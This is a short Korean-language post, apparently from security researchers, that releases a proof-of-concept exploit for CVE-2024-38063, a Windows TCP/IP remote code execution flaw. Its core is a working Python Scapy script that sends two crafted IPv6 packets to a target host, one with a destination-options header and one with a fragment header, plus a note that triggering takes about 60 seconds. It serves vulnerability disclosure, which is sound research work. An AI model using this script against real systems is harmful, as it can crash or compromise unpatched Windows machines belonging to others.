
CVE-2024-38063에 대한 개념 증명 익스플로잇으로, 두 개의 조작된 IPv6 패킷을 대상 옵션 및 조각 헤더와 함께 전송하여 트리거되는 Windows TCP/IP 원격 코드 실행 취약점입니다.
2024년 8월, Microsoft는 Windows TCP/IP 원격 코드 실행(RCE) 취약점에 대한 패치를 발표했습니다. 일부 연구자들은 이미 이 취약점에 대한 개념 증명(PoC)을 공개했으며, 비슷한 시기에 PatchPoint 연구자들도 이 문제에 대한 분석 및 재현을 완료했습니다. Twitter를 포함한 다양한 플랫폼에서 잘못된 정보가 퍼져, 이 취약점을 트리거하는 데 필요한 핵심 사항이 오해된 것으로 보입니다. 이러한 부정확성과 달리, 우리는 단 두 개의 패킷 전송만으로 이 취약점이 트리거될 수 있음을 보여주는 PoC를 공개하기로 결정했습니다.; 실제로 이 취약점을 트리거하는 데 많은 수의 패킷은 필요하지 않습니다.
from scapy.all import *
IPAddr = '' # fe80::XXXX:XXXX:XXXX:XXXX
MACAddr = '' # XX:XX:XX:XX:XX:XX
ExtHdrDestOpt = Ether(dst=MACAddr) / IPv6(fl=1, dst=IPAddr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0xC2)])
ExtHdrFragment = Ether(dst=MACAddr) / IPv6(fl=1, dst=IPAddr) / IPv6ExtHdrFragment()
sendp([ExtHdrDestOpt, ExtHdrFragment], verbose=False)

※ 취약점을 트리거하려면 약 60초의 대기 시간이 필요합니다.